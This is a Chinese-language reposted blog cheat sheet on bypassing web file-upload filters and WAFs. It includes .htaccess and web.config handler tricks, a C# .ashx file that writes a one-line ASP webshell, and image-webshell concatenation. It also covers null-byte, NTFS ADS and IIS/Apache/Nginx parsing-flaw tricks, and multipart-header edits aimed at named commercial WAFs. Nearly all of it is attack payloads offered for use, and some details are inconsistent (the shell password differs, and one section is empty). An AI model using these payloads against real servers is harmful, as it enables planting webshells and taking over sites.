其他分享
首页 > 其他分享> > 文件操作Bypass

文件操作Bypass

作者:互联网

一、常用文件上传绕过

1、黑名单上传

常见扩展名黑名单:
asp|asa|cer|cdx|aspx|ashx|ascx|asax
php|php2|php3|php4|php5|asis|htaccess
htm|html|shtml|pwml|phtml|phtm|js|jsp
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini

1、apache+php网站,上传.htaccess文件
执行如下命令:copy aaa.txt .htaccess
aaa.txt文本内容:
<FilesMatch "1111">
SetHandler application/x-httpd-php
</FilesMatch>
2、asp+IIS网站,上传web.config文件
文件内容如下:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Write, Execute, Script" />
    </system.webServer>
</configuration>
3、文件扩展名绕过
php----->php2|php3|php4|php5
asp----->asp|asa|cer|cdx|aspx|ashx|ascx|asax
ashx文件内容如下:
<%@ WebHandler Language="C#" Class="Handler" %>
using System;
using System.Web;
using System.IO;
public class Handler : IHttpHandler {

    public void ProcessRequest (HttpContext context) {
        context.Response.ContentType = "text/plain";

        //这里会在目录下生成一个test.asp的文件
        StreamWriter file1= File.CreateText(context.Server.MapPath("test.asp"));
        //这里是写入一句话木马   密码是:ptu
        file1.Write("<%response.clear:execute request("put"):response.End%>");
        file1.Flush();
        file1.Close();
    }
    public bool IsReusable {
        get {
            return false;
        }
    }

}
解析后就会生成一个test.asp的马,你就可以连接这个test.asp  密码为:put
4、Windows特性绕过
发送的http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性
5、利用NTFS ADS特性绕过
ADS 是 NTFS 磁盘格式的一个特性,用于 NTFS 交换数据流。在上传文件时,如果 waf 对请求正文的 filename 匹配不当的话可能会导致绕过。
| 上传文件名 | 服务器表面现象 | 生成的文件内容 |
| test.php::$DATA | test.php | <?php phpinfo();?> |
6、apache解析漏洞
未知扩展名解析漏洞
Apache的解析漏洞依赖于一个特性: Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别(不在mime.types文件内),则
继续向左识别,直到识别到合法后缀才进行解析。
所以上传 shell.php.aaa

2、白名单上传

1、00截断
php 版本小于 5.3.4 
php .jpg 空格二进制20改为00(burp)
2、服务器解析漏洞
a、IIS6.0
该版本默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析,原理是服务器默认不解析;号及其后面的内容,相当于截断。
该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。
另外,IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp。
b、IIS7.5/7.0
PHP CGI解析漏洞
以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时,上传一个存在于白名单的扩展名文件shell.jpg,在请求时以shell.jpg/shell.php请求,会将shell.jpg以php来解析。
图片马:copy 001.jpeg/b + test.php/a 2.jpg
c、Nginx解析漏洞
对于Ngnix的版本:
Nginx 0.5.×
Nginx 0.6.×
Nginx 0.7<=0.7.65 Nginx 0.8<=0.8.37
上传一个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg.php进行请求
d、文件名长度绕过白名单限制
传送门:https://blog.51cto.com/eth10/2103563

3、绕过WAF上传

1、填充垃圾数据
Content-Dispostion:form-data;name='file1'ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd;filename='shell.asp'
2、匹配字段
a、在boundary和=之间加一个空格
b、如果后面一段的boundary与前面的不一致,可能会绕过waf
内容如下
----aaaa,123456
传输虚假数据(图片)
----aaaa
传输真实数据
----aaaa--
----aaaa,123456--
3、多个Content-Dispostion
在IIS的环境下:  
上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话,便会被绕过。
4、利用特性
a、上传test.php::$DATA
b、windows系统特性:    
当上传一个文件的filename为shell.php{%80-%90}时,waf可能识别为.php{%80-%99}   

4、绕过文件重命名

在filename='shell....asp'处,通过构造大量.符号来绕过文件重命名。
比如:ilename='shell.............................................asp'

二、文件上传绕过WAF

1、绕过安全狗4.0

1、在文件名中插入分号,空格,单引号
filename='sh;ell.php'  
filename='sh ell.php'  
filename='sh'ell.php' 
传入多个filename字段  
filename= ;filename='xx.php'

2、通过替换大小写来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition    修改为content-Disposition
将 form-data            修改为Form-data
将 Content-Type         修改为content-Type

3、通过删减空格来进行绕过
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data          冒号后面 增加或减少一个空格
将form-data; name="file";                分号后面 增加或减少一个空格
将 Content-Type: application/octet-stream   冒号后面 增加一个空格

4、通过字符串拼接绕过
看Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为   f+orm-data
将 from-data 修改为   form-d+ata

5、HTTP header 属性名称绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php"

6、等效替换绕过
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content-Type: multipart/form-data; boundary =---------------------------471463142114
boundary后面加入空格

7、文件的内容处理
关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php"
将form-data;            修改为~form-data;

2、绕过WTS-WAF

原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php"
添加回车
Content-Disposition: form-data; name="up_picture"; filename="xss.
php"

3、绕过百度云

Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"

4、绕过阿里云

原内容:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
修改后:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
Content-Disposition 修改为 Content-空格Disposition

三、文件下载常用路径

标签:文件,Disposition,form,filename,Content,Bypass,操作,php,data
来源: https://www.cnblogs.com/sakura521/p/15054162.html